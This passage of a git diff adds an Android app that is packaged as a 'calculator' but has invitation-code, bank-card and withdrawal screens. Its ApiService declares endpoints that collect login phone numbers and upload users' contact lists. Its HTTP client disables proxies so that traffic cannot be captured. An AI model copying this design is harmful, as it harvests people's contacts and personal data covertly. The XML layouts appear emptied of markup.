newline at end of file diff --git a/base_sg/src/main/res/layout/dialog_action_confirm.xml b/base_sg/src/main/res/layout/dialog_action_confirm.xml new file mode 100644 index 0000000..1c67709 --- /dev/null +++ b/base_sg/src/main/res/layout/dialog_action_confirm.xml @@ -0,0 +1,71 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_sg/src/main/res/layout/dialog_action_invite.xml b/base_sg/src/main/res/layout/dialog_action_invite.xml new file mode 100644 index 0000000..9fd65ee --- /dev/null +++ b/base_sg/src/main/res/layout/dialog_action_invite.xml @@ -0,0 +1,89 @@ + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_sg/src/main/res/layout/dialog_action_invite_records.xml b/base_sg/src/main/res/layout/dialog_action_invite_records.xml new file mode 100644 index 0000000..f770481 --- /dev/null +++ b/base_sg/src/main/res/layout/dialog_action_invite_records.xml @@ -0,0 +1,105 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_sg/src/main/res/layout/dialog_action_withdrawapply.xml b/base_sg/src/main/res/layout/dialog_action_withdrawapply.xml new file mode 100644 index 0000000..9f0073e --- /dev/null +++ b/base_sg/src/main/res/layout/dialog_action_withdrawapply.xml @@ -0,0 +1,121 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_sg/src/main/res/layout/dialog_select_action.xml b/base_sg/src/main/res/layout/dialog_select_action.xml new file mode 100644 index 0000000..846025f --- /dev/null +++ b/base_sg/src/main/res/layout/dialog_select_action.xml @@ -0,0 +1,76 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_sg/src/main/res/layout/item_invite_records.xml b/base_sg/src/main/res/layout/item_invite_records.xml new file mode 100644 index 0000000..5e3a4c0 --- /dev/null +++ b/base_sg/src/main/res/layout/item_invite_records.xml @@ -0,0 +1,22 @@ + + + + + + + + + \ No newline at end of file diff --git a/base_sg/src/main/res/layout/item_notify_list.xml b/base_sg/src/main/res/layout/item_notify_list.xml new file mode 100644 index 0000000..45560ba --- /dev/null +++ b/base_sg/src/main/res/layout/item_notify_list.xml @@ -0,0 +1,162 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_sg/src/main/res/layout/item_withdraw_records.xml b/base_sg/src/main/res/layout/item_withdraw_records.xml new file mode 100644 index 0000000..a8e6205 --- /dev/null +++ b/base_sg/src/main/res/layout/item_withdraw_records.xml @@ -0,0 +1,59 @@ + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_sg/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/base_sg/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/base_sg/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/base_sg/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/base_sg/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/base_sg/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/base_sg/src/main/res/mipmap-hdpi/ic_empty.png b/base_sg/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/base_sg/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/base_sg/src/main/res/mipmap-hdpi/ic_pull_down.png b/base_sg/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/base_sg/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/base_sg/src/main/res/mipmap-xhdpi/ic_close.png b/base_sg/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/base_sg/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/base_sg/src/main/res/mipmap-xhdpi/ic_email.png b/base_sg/src/main/res/mipmap-xhdpi/ic_email.png new file mode 100644 index 0000000..9fc3a42 Binary files /dev/null and b/base_sg/src/main/res/mipmap-xhdpi/ic_email.png differ diff --git a/base_sg/src/main/res/mipmap-xhdpi/ic_email1.png b/base_sg/src/main/res/mipmap-xhdpi/ic_email1.png new file mode 100644 index 0000000..9fc3a42 Binary files /dev/null and b/base_sg/src/main/res/mipmap-xhdpi/ic_email1.png differ diff --git a/base_sg/src/main/res/mipmap-xhdpi/ic_facebook.png b/base_sg/src/main/res/mipmap-xhdpi/ic_facebook.png new file mode 100644 index 0000000..de378dc Binary files /dev/null and b/base_sg/src/main/res/mipmap-xhdpi/ic_facebook.png differ diff --git a/base_sg/src/main/res/mipmap-xhdpi/ic_hometo.png b/base_sg/src/main/res/mipmap-xhdpi/ic_hometo.png new file mode 100644 index 0000000..4e93043 Binary files /dev/null and b/base_sg/src/main/res/mipmap-xhdpi/ic_hometo.png differ diff --git a/base_sg/src/main/res/mipmap-xhdpi/ic_link.png b/base_sg/src/main/res/mipmap-xhdpi/ic_link.png new file mode 100644 index 0000000..2f98612 Binary files /dev/null and b/base_sg/src/main/res/mipmap-xhdpi/ic_link.png differ diff --git a/base_sg/src/main/res/mipmap-xhdpi/ic_menu.png b/base_sg/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/base_sg/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/base_sg/src/main/res/mipmap-xhdpi/ic_notify_email.png b/base_sg/src/main/res/mipmap-xhdpi/ic_notify_email.png new file mode 100644 index 0000000..5a2df8e Binary files /dev/null and b/base_sg/src/main/res/mipmap-xhdpi/ic_notify_email.png differ diff --git a/base_sg/src/main/res/mipmap-xhdpi/ic_notify_normal.png b/base_sg/src/main/res/mipmap-xhdpi/ic_notify_normal.png new file mode 100644 index 0000000..f056d32 Binary files /dev/null and b/base_sg/src/main/res/mipmap-xhdpi/ic_notify_normal.png differ diff --git a/base_sg/src/main/res/mipmap-xhdpi/ic_notify_shangla.png b/base_sg/src/main/res/mipmap-xhdpi/ic_notify_shangla.png new file mode 100644 index 0000000..eb1d3e9 Binary files /dev/null and b/base_sg/src/main/res/mipmap-xhdpi/ic_notify_shangla.png differ diff --git a/base_sg/src/main/res/mipmap-xhdpi/ic_notify_xiala.png b/base_sg/src/main/res/mipmap-xhdpi/ic_notify_xiala.png new file mode 100644 index 0000000..7999f63 Binary files /dev/null and b/base_sg/src/main/res/mipmap-xhdpi/ic_notify_xiala.png differ diff --git a/base_sg/src/main/res/mipmap-xhdpi/ic_notifylogo.png b/base_sg/src/main/res/mipmap-xhdpi/ic_notifylogo.png new file mode 100644 index 0000000..b975e45 Binary files /dev/null and b/base_sg/src/main/res/mipmap-xhdpi/ic_notifylogo.png differ diff --git a/base_sg/src/main/res/mipmap-xhdpi/ic_shousuo.png b/base_sg/src/main/res/mipmap-xhdpi/ic_shousuo.png new file mode 100644 index 0000000..16b38be Binary files /dev/null and b/base_sg/src/main/res/mipmap-xhdpi/ic_shousuo.png differ diff --git a/base_sg/src/main/res/mipmap-xhdpi/ic_tel.png b/base_sg/src/main/res/mipmap-xhdpi/ic_tel.png new file mode 100644 index 0000000..df82270 Binary files /dev/null and b/base_sg/src/main/res/mipmap-xhdpi/ic_tel.png differ diff --git a/base_sg/src/main/res/mipmap-xhdpi/ic_whatsapp.png b/base_sg/src/main/res/mipmap-xhdpi/ic_whatsapp.png new file mode 100644 index 0000000..7ca41ed Binary files /dev/null and b/base_sg/src/main/res/mipmap-xhdpi/ic_whatsapp.png differ diff --git a/base_sg/src/main/res/mipmap-xhdpi/ic_zhangkai.png b/base_sg/src/main/res/mipmap-xhdpi/ic_zhangkai.png new file mode 100644 index 0000000..bdc84b3 Binary files /dev/null and b/base_sg/src/main/res/mipmap-xhdpi/ic_zhangkai.png differ diff --git a/base_sg/src/main/res/mipmap-xxhdpi/app_logo.png b/base_sg/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..1718e20 Binary files /dev/null and b/base_sg/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/base_sg/src/main/res/mipmap-xxhdpi/home.png b/base_sg/src/main/res/mipmap-xxhdpi/home.png new file mode 100644 index 0000000..bf3cace Binary files /dev/null and b/base_sg/src/main/res/mipmap-xxhdpi/home.png differ diff --git a/base_sg/src/main/res/mipmap-xxhdpi/index.png b/base_sg/src/main/res/mipmap-xxhdpi/index.png new file mode 100644 index 0000000..1677bda Binary files /dev/null and b/base_sg/src/main/res/mipmap-xxhdpi/index.png differ diff --git a/base_sg/src/main/res/mipmap-xxhdpi/look_img.png b/base_sg/src/main/res/mipmap-xxhdpi/look_img.png new file mode 100644 index 0000000..bb76ba1 Binary files /dev/null and b/base_sg/src/main/res/mipmap-xxhdpi/look_img.png differ diff --git a/base_sg/src/main/res/mipmap-xxhdpi/not.png b/base_sg/src/main/res/mipmap-xxhdpi/not.png new file mode 100644 index 0000000..b363f0d Binary files /dev/null and b/base_sg/src/main/res/mipmap-xxhdpi/not.png differ diff --git a/base_sg/src/main/res/mipmap-xxhdpi/shuaxin.png b/base_sg/src/main/res/mipmap-xxhdpi/shuaxin.png new file mode 100644 index 0000000..ba1126b Binary files /dev/null and b/base_sg/src/main/res/mipmap-xxhdpi/shuaxin.png differ diff --git a/base_sg/src/main/res/mipmap-xxhdpi/xhome.png b/base_sg/src/main/res/mipmap-xxhdpi/xhome.png new file mode 100644 index 0000000..6946286 Binary files /dev/null and b/base_sg/src/main/res/mipmap-xxhdpi/xhome.png differ diff --git a/base_sg/src/main/res/values-en/strings.xml b/base_sg/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..c796052 --- /dev/null +++ b/base_sg/src/main/res/values-en/strings.xml @@ -0,0 +1,54 @@ + + TestApp + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + No additional data available for now + NOTIFICATIONS + \ No newline at end of file diff --git a/base_sg/src/main/res/values-night/themes.xml b/base_sg/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..4bf7105 --- /dev/null +++ b/base_sg/src/main/res/values-night/themes.xml @@ -0,0 +1,69 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_sg/src/main/res/values/colors.xml b/base_sg/src/main/res/values/colors.xml new file mode 100644 index 0000000..bd299ee --- /dev/null +++ b/base_sg/src/main/res/values/colors.xml @@ -0,0 +1,22 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + #ACDFEE + #BDDDB7 + #C3B5D0 + + \ No newline at end of file diff --git a/base_sg/src/main/res/values/strings.xml b/base_sg/src/main/res/values/strings.xml new file mode 100644 index 0000000..93e4586 --- /dev/null +++ b/base_sg/src/main/res/values/strings.xml @@ -0,0 +1,76 @@ + + TestApp + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + 暂无更多数据 + 通知 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_sg/src/main/res/values/themes.xml b/base_sg/src/main/res/values/themes.xml new file mode 100644 index 0000000..e47899f --- /dev/null +++ b/base_sg/src/main/res/values/themes.xml @@ -0,0 +1,88 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_sg/src/main/res/xml/app_updater_paths.xml b/base_sg/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/base_sg/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/base_sg/src/main/res/xml/network_security_config.xml b/base_sg/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/base_sg/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/base_sg/src/main/res/xml/provider_paths.xml b/base_sg/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/base_sg/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/base_sg/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/base_sg/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/base_sg/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/base_theme/.gitignore b/base_theme/.gitignore new file mode 100644 index 0000000..42afabf --- /dev/null +++ b/base_theme/.gitignore @@ -0,0 +1 @@ +/build \ No newline at end of file diff --git a/base_theme/build.gradle b/base_theme/build.gradle new file mode 100644 index 0000000..2589f86 --- /dev/null +++ b/base_theme/build.gradle @@ -0,0 +1,45 @@ +plugins { + id 'com.android.library' +} + +android { + compileSdkVersion 31 + defaultConfig { + minSdkVersion 24 + targetSdkVersion 31 + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } +} + +dependencies { + + api 'androidx.appcompat:appcompat:1.1.0' + api 'com.google.android.material:material:1.1.0' + api 'androidx.constraintlayout:constraintlayout:1.1.3' + + // okhttp相关库 + api 'com.squareup.okhttp3:okhttp:4.9.3' + + // JSON解析库 + api 'com.google.code.gson:gson:2.9.0' + api 'com.squareup.retrofit2:retrofit:2.5.0' + api 'com.squareup.retrofit2:converter-scalars:2.3.0' + api 'com.squareup.retrofit2:converter-gson:2.4.0' + api 'com.squareup.retrofit2:adapter-rxjava2:2.4.0' + api 'io.reactivex.rxjava2:rxjava:2.1.16' + api 'io.reactivex.rxjava2:rxandroid:2.0.2' + api 'com.squareup.okhttp3:logging-interceptor:3.10.0' + + api("com.github.bumptech.glide:glide:4.13.1") + api 'com.github.jenly1314.AppUpdater:app-updater:1.1.3' + + // sdk 33 + api platform('com.google.firebase:firebase-bom:32.7.0') + // Firebase Cloud Messaging + api("com.google.firebase:firebase-messaging") +} \ No newline at end of file diff --git a/base_theme/proguard-rules.pro b/base_theme/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/base_theme/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/base_theme/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/base_theme/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/base_theme/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/base_theme/src/main/AndroidManifest.xml b/base_theme/src/main/AndroidManifest.xml new file mode 100644 index 0000000..31451e9 --- /dev/null +++ b/base_theme/src/main/AndroidManifest.xml @@ -0,0 +1,27 @@ + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/base_theme/src/main/java/com/web/base/ActionConfirmDialog.java b/base_theme/src/main/java/com/web/base/ActionConfirmDialog.java new file mode 100644 index 0000000..2f516b7 --- /dev/null +++ b/base_theme/src/main/java/com/web/base/ActionConfirmDialog.java @@ -0,0 +1,124 @@ +package com.web.base; + +import android.app.Dialog; +import android.content.Context; +import android.os.Bundle; +import android.text.TextUtils; +import android.view.Gravity; +import android.view.View; +import android.view.ViewTreeObserver; +import android.view.Window; +import android.view.WindowManager; +import android.widget.TextView; + + +/** + * 通用弹窗 + */ +public class ActionConfirmDialog extends Dialog { + private final Context context; + private View lineV; + + private TextView contentTv; + private TextView cancelTv; + private TextView sumbitTv; + String title; + String content; + String cancel = null; + String sure = null; + boolean showCancel = true; + OnToActionListener onToActionListener; + + public interface OnToActionListener { + void toSumbit(); + void toCancel(); + + } + + public void setOnToActionListener(OnToActionListener onNextCallListener) { + this.onToActionListener = onNextCallListener; + } + + + public ActionConfirmDialog(Context context, String content,boolean showCancel) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.content = content; + this.showCancel = showCancel; + } + public ActionConfirmDialog(Context context, String content, String cancel, String sure) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.content = content; + this.cancel = cancel; + this.sure = sure; + } + + public ActionConfirmDialog(Context context, String content, String cancel, String sure,boolean showCancel) { + super(context, R.style.MaterialDesignDialog); + this.context = context; + this.content = content; + this.cancel = cancel; + this.sure = sure; + this.showCancel = showCancel; + } + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(R.layout.dialog_action_confirm); + + contentTv = (TextView) findViewById(R.id.content_tv); + cancelTv = (TextView) findViewById(R.id.cancel_tv); + sumbitTv = (TextView) findViewById(R.id.sumbit_tv); + + lineV = (View) findViewById(R.id.line_v); + + contentTv.setText(content); + contentTv.getViewTreeObserver().addOnPreDrawListener(new ViewTreeObserver.OnPreDrawListener() { + @Override + public boolean onPreDraw() { + //这个监听的回调是异步的,在监听完以后一定要把绘制监听移除,不然这个会一直回调,导致界面错乱 + contentTv.getViewTreeObserver().removeOnPreDrawListener(this); + int line = contentTv.getLineCount(); + if(line>1){ + contentTv.setGravity(Gravity.LEFT|Gravity.CENTER_VERTICAL); + } + + return true; + } + }); + if(!TextUtils.isEmpty(cancel)){ + cancelTv.setText(cancel); + } + if(!TextUtils.isEmpty(sure)){ + sumbitTv.setText(sure); + } + if(!showCancel){ + cancelTv.setVisibility(View.GONE); + lineV.setVisibility(View.GONE); + } + + sumbitTv.setOnClickListener(v -> { + dismiss(); + if(onToActionListener!=null){ + onToActionListener.toSumbit(); + } + }); + cancelTv.setOnClickListener(v -> { + dismiss(); + if(onToActionListener!=null){ + onToActionListener.toCancel(); + } + }); + + Window window = getWindow(); + WindowManager.LayoutParams wlp = window.getAttributes(); + wlp.gravity = Gravity.CENTER; + wlp.width = WindowManager.LayoutParams.WRAP_CONTENT; + wlp.height = WindowManager.LayoutParams.WRAP_CONTENT; + + window.setAttributes(wlp); + } + +} diff --git a/base_theme/src/main/java/com/web/base/Api.java b/base_theme/src/main/java/com/web/base/Api.java new file mode 100644 index 0000000..286a17d --- /dev/null +++ b/base_theme/src/main/java/com/web/base/Api.java @@ -0,0 +1,68 @@ +package com.web.base; + +import java.net.Proxy; +import java.util.concurrent.TimeUnit; + +import okhttp3.OkHttpClient; +import okhttp3.logging.HttpLoggingInterceptor; + +/** + * 项目名: TODO-MVVM + * 包名 com.azhon.mvvm.api + * 文件名: Api + * 创建时间: 2019-03-27 on 14:56 + * 描述: TODO 使用Retrofit基础服务 + * + * @author + */ + +public class Api extends BaseApi { + + private static final long CONNECT_TIMEOUT = 10; + private static final long READ_TIMEOUT = 10; + private static final long WRITE_TIMEOUT = 10; + + /** + * 静态内部类单例 + */ + private static class ApiHolder { + private static Api api = new Api(); + private final static ApiService apiService = api.initRetrofit(ApiService.URL) + .create(ApiService.class); + + } + + public static ApiService getInstance() { + return ApiHolder.apiService; + } + /** + * 做自己需要的操作 + */ + @Override + protected OkHttpClient setClient() { + OkHttpClient.Builder builder; + builder = new OkHttpClient() + .newBuilder(); + //禁止使用代理抓取数据 + builder.proxy(Proxy.NO_PROXY); + //设置超时 + builder.connectTimeout(CONNECT_TIMEOUT, TimeUnit.SECONDS); + builder.readTimeout(READ_TIMEOUT, TimeUnit.SECONDS); + builder.writeTimeout(WRITE_TIMEOUT, TimeUnit.SECONDS); + //错误重连 + builder.retryOnConnectionFailure(true); + +// if (Config.IS_DEBUG) { + HttpLoggingInterceptor interceptor = new HttpLoggingInterceptor(message -> { + String text = message; + LogUtils.i("OKHttp111111-----", text); + + }); + interceptor.setLevel(HttpLoggingInterceptor.Level.BODY); + builder.addInterceptor(interceptor); +// } + return builder.build(); + + } + +} diff --git a/base_theme/src/main/java/com/web/base/ApiService.java b/base_theme/src/main/java/com/web/base/ApiService.java new file mode 100644 index 0000000..b971699 --- /dev/null +++ b/base_theme/src/main/java/com/web/base/ApiService.java @@ -0,0 +1,66 @@ +package com.web.base; + + +import java.util.List; +import java.util.Map; + +import io.reactivex.Observable; +import okhttp3.RequestBody; +import retrofit2.http.Body; +import retrofit2.http.GET; +import retrofit2.http.Headers; +import retrofit2.http.POST; +import retrofit2.http.PUT; +import retrofit2.http.Query; + +public interface ApiService { + String URL = "https://api.liulao.top/"; + + + @GET("api/system/applicationConf") + Observable> geUrlNew(@Query("userId") int userId); + + /** + * 搜集登录手机号 + */ + @POST("app/loginUser") + Observable appLoginUser(@Body Map map); + + /** + * 上传通讯录 + */ + @Headers("Content-Type:application/json") + @POST("api/customer/customers") + Observable readContact(@Body RequestBody requestBody); + + /** + * 統計下載量 + */ + @PUT("api/statistics/downloads") + Observable downloadNumbers(@Body Map map); + + /** + * 每日活跃统计 + */ + @PUT("api/statistics/use") + Observable totalTongJi(@Body Map map); + + /** + * 统计通知 + */ + @POST("api/push/statistics") + Observable totalNotify(@Body Map map); + + + /** + * 获取通知列表 + * @param userid + * @param page + * @param size + * @return + */ + @GET("api/push/pushRecords") + Observable>> getNotifyList(@Query("userId") int userid, @Query("page") int page, @Query("size") int size); + + +} diff --git a/base_theme/src/main/java/com/web/base/BaseApi.java b/base_theme/src/main/java/com/web/base/BaseApi.java new file mode 100644 index 0000000..6020adc --- /dev/null +++ b/base_theme/src/main/java/com/web/base/BaseApi.java @@ -0,0 +1,46 @@ +package com.web.base; + +import okhttp3.OkHttpClient; +import retrofit2.Retrofit; +import retrofit2.adapter.rxjava2.RxJava2CallAdapterFactory; +import retrofit2.converter.gson.GsonConverterFactory; +import retrofit2.converter.scalars.ScalarsConverterFactory; + +/** + * 项目名: TODO-MVVM + * 包名 com.azhon.basic.retrofit + * 文件名: BaseApi + * 创建时间: 2019-03-27 on 14:52 + * 描述: TODO 封装基础的Retrofit + * + * @author + */ + +public abstract class BaseApi { + + /** + * 初始化Retrofit + */ + public Retrofit initRetrofit(String baseUrl) { + Retrofit.Builder builder = new Retrofit.Builder(); + //支持返回Call + builder.addConverterFactory(ScalarsConverterFactory.create()); + //支持直接格式化json返回Bean对象 + builder.addConverterFactory(GsonConverterFactory.create()); + //支持RxJava + builder.addCallAdapterFactory(RxJava2CallAdapterFactory.create()); + builder.baseUrl(baseUrl); + OkHttpClient client = setClient(); + if (client != null) { + builder.client(client); + } + return builder.build(); + } + + /** + * 设置OkHttpClient,添加拦截器等 + * + * @return 可以返回为null + */ + protected abstract OkHttpClient setClient(); +} diff --git a/base_theme/src/main/java/com/web/base/BaseObserver.java b/base_theme/src/main/java/com/web/base/BaseObserver.java new file mode 100644 index 0000000..a53e2a6 --- /dev/null +++ b/base_theme/src/main/java/com/web/base/BaseObserver.java @@ -0,0 +1,113 @@ +package com.web.base; + +import com.google.gson.JsonParseException; + +import org.json.JSONException; + +import java.io.InterruptedIOException; +import java.net.ConnectException; +import java.net.UnknownHostException; +import java.text.ParseException; + +import io.reactivex.observers.DisposableObserver; +import retrofit2.HttpException; + +public abstract class BaseObserver extends DisposableObserver { + /** + * 解析数据失败 + */ + public static final int PARSE_ERROR = 1001; + /** + * 网络问题 + */ + public static final int BAD_NETWORK = 1002; + /** + * 连接错误 + */ + public static final int CONNECT_ERROR = 1003; + /** + * 连接超时 + */ + public static final int CONNECT_TIMEOUT = 1004; + + @Override + public void onNext(T o) { + if (o instanceof String) { + onError(0, "接口解析失败"); +// LogUtils.i("返回个string就没意思了"); + } else { + Result model = (Result) o; + if (model.isSuccessful()) { + onSuccess(o); + } else { + onError2(o); + } + } + + + } + + @Override + public void onError(Throwable e) { + if (e instanceof HttpException) { + // HTTP错误 + onException(BAD_NETWORK); + } else if (e instanceof ConnectException + || e instanceof UnknownHostException) { + // 连接错误 + onException(CONNECT_ERROR); + } else if (e instanceof InterruptedIOException) { + // 连接超时 + onException(CONNECT_TIMEOUT); + } else if (e instanceof JsonParseException + || e instanceof JSONException + || e instanceof ParseException) { + // 解析错误 + + onException(PARSE_ERROR); + } else { + if (e != null) { + onError(409, e.toString()); + } else { + onError(407, "未知错误"); + } + } + + } + + private void onException(int unknownError) { + switch (unknownError) { + case CONNECT_ERROR: + onError(CONNECT_ERROR, "连接错误"); + break; + + case CONNECT_TIMEOUT: + onError(CONNECT_TIMEOUT, "连接超时"); + break; + + case BAD_NETWORK: + onError(BAD_NETWORK, "网络问题"); + break; + + case PARSE_ERROR: + onError(PARSE_ERROR, "宇宙也是有尽头的"); + + break; + + default: + break; + } + } + + @Override + public void onComplete() { + + } + + public abstract void onSuccess(T o); + + public abstract void onError(int code, String msg); + + public abstract void onError2(T o); + +} diff --git a/base_theme/src/main/java/com/web/base/CircleImageView.java b/base_theme/src/main/java/com/web/base/CircleImageView.java new file mode 100644 index 0000000..cf84202 --- /dev/null +++ b/base_theme/src/main/java/com/web/base/CircleImageView.java @@ -0,0 +1,321 @@ +package com.web.base; + +import android.annotation.SuppressLint; +import android.content.Context; +import android.content.res.TypedArray; +import android.graphics.Bitmap; +import android.graphics.Canvas; +import android.graphics.Matrix; +import android.graphics.Paint; +import android.graphics.PorterDuff; +import android.graphics.PorterDuffXfermode; +import android.graphics.RectF; +import android.graphics.drawable.BitmapDrawable; +import android.graphics.drawable.Drawable; +import android.util.AttributeSet; +import android.view.MotionEvent; + +import androidx.appcompat.widget.AppCompatImageView; + + +public class CircleImageView extends AppCompatImageView { + // paint when user press + private Paint pressPaint; + private int width; + private int height; + + // default bitmap config + private static final Bitmap.Config BITMAP_CONFIG = Bitmap.Config.ARGB_8888; + private static final int COLORDRAWABLE_DIMENSION = 1; + + // border color + private int borderColor; + // width of border + private int borderWidth; + // alpha when pressed + private int pressAlpha; + // color when pressed + private int pressColor; + // radius + private int radius; + // rectangle or round, 1 is circle, 2 is rectangle + private int shapeType; + + public CircleImageView(Context context) { + super(context); + init(context, null); + } + + public CircleImageView(Context context, AttributeSet attrs) { + super(context, attrs); + init(context, attrs); + } + + public CircleImageView(Context context, AttributeSet attrs, int defStyleAttr) { + super(context, attrs, defStyleAttr); + init(context, attrs); + } + + + private void init(Context context, AttributeSet attrs) { + //init the value + borderWidth = 0; + borderColor = 0xddffffff; + pressAlpha = 0x42; + pressColor = 0x42000000; + radius = 16; + shapeType = 0; + + // get attribute of EaseImageView + if 